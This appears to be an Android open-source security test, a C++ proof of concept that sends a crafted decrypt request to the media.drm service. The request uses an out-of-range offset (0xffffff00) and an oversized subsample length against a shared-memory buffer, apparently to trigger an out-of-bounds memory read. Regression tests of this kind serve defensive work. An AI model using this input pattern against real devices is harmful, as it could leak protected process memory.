blob: b34166f4a2f4771b5eb8f3c7606779b2377beb1c [file] [log] [blame]
/**
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <binder/IServiceManager.h>
#include <binder/MemoryDealer.h>
#include <media/ICrypto.h>
#include <media/IDrm.h>
#include <media/IMediaDrmService.h>
using namespace android;
template <typename T>
void mediaPoc(BpInterface<T> *sit) {
Parcel data, reply;
data.writeInterfaceToken(sit->getInterfaceDescriptor());
data.writeInt32(0);
data.writeInt32(0);
static const uint8_t kDummy[16] = {0};
data.write(kDummy, 16);
data.write(kDummy, 16);
const int wsize = 16 * 1024;
sp<MemoryDealer> dealer = new MemoryDealer(wsize);
sp<IMemory> memory = dealer->allocate(wsize);
data.writeInt32(wsize);
data.writeStrongBinder(IInterface::asBinder(memory));
const int ss = 0x1;
data.writeInt32(0xffffff00);
data.writeInt32(ss);
CryptoPlugin::SubSample samples[ss];
for (int i = 0; i < ss; i++) {
samples[i].mNumBytesOfEncryptedData = 0;
samples[i].mNumBytesOfClearData = wsize;
}
data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
char out[wsize] = {0};
reply.read(out, wsize);
}
static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
0x52, 0xE2, 0xFB, 0x4B};
int main(void) {
status_t st;
sp<ICrypto> crypto =
interface_cast<IMediaDrmService>(
defaultServiceManager()->getService(String16("media.drm")))
->makeCrypto();
sp<IDrm> drm = interface_cast<IMediaDrmService>(
defaultServiceManager()->getService(String16("media.drm")))
->makeDrm();
Vector<uint8_t> sess;
st = drm->createPlugin(kClearKeyUUID, (String8) "test");
st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
mediaPoc(sit);
return 0;
}